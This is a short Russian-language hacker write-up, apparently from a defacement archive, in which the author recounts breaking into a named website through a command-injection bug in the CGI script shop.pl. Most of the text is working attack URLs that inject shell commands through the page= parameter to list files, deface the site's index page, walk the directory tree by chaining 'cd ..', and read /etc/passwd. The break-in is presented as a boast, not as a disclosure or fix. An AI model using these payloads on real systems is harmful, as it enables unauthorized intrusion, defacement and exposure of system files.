-----------------------------------------
#!/usr/share/doc/defaced/3/cases/shop.txt
-----------------------------------------
Выполнение команд в скрипте shop.pl
Автор: durito [email protected]
Зеркало взлома: http://taxidermia.void.ru/mirrors/2003/09/22/www.hawk-assoc.com
Как-то, наткнулся я на сайте www.hawk-assoc.com на скрипт shop.pl. скрипт
обрабатывал следующий запрос:
http://www.xxx.com/cgi-local/shop.pl/page=index.html
сразу всполмился довольно старый баг в этом скрипте (возможность выполнения
команд):
http://www.xxx.com/cgi-local/shop.pl/page=;ls|
http://www.xxx.com/cgi-local/shop.pl/page=;id|
http://www.xxx.com/cgi-local/shop.pl/page=;cat shop.pl|
собственно выполнить дефейс не представляло особой сложности. для начала
создавался файл index.html:
http://www.xxx.com/cgi-local/shop.pl/page=;echo deface:durito>index.html|
далее созданный файл копировался в директорию выше:
http://www.xxx.com/cgi-local/shop.pl/page=;cp index.html ..|
вот и весь дефейс. но ведь интересно было и по другим директориям походить. но
скрипт упорно резал /. так что команда:
http://www.xxx.com/cgi-local/shop.pl/page=;ls ../cgi-bin|
не работала, скрипт выдавал сообщение об ошибке. Но тут я вспомнил о символе ;!
С помощью него можно выполнять команды последовательно. Выполнение каждой
последующей команды начинается только после полного завершения предудущей. Ввожу
следующую команду:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;ls|
и вижу листинг каталога вернего уровня. и так далее:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;ls|
добрался и до корня. путешествие по папкам тоже не представляло сложности:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd /etc;ls|
вот и злополучный passwd нашелся:
http://www.xxx.com/cgi-local/shop.pl/page=;cd ..;cd ..;cd ..;cd
/etc;cat passwd|
И так далее. вот собственно и все.